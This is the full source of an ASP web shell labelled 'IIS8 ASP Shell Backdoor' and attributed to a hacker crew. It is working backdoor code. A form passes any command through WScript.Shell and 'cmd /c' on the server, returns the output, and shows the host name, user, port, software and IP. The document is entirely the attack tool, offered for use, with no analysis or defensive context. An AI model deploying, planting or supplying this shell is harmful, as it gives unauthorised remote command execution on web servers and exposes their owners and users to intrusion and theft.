IIS8 ASP Shell Backdoor

<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<HTML>
<title>IIS8 ASP Backdoor</title>
<BODY>
<p>
<b>diSas7eR Crew - IIS8 Server ASP Shell Backdoor</b>
</p>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>SERVER PORT :</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
<b>SERVER SOFTWARE :</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
<b>SERVER IP :</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
<b>Powered by Maceo 25/06/2003<br>
Modified by Mr.7z 01/01/2019</b>
</BODY>
</HTML>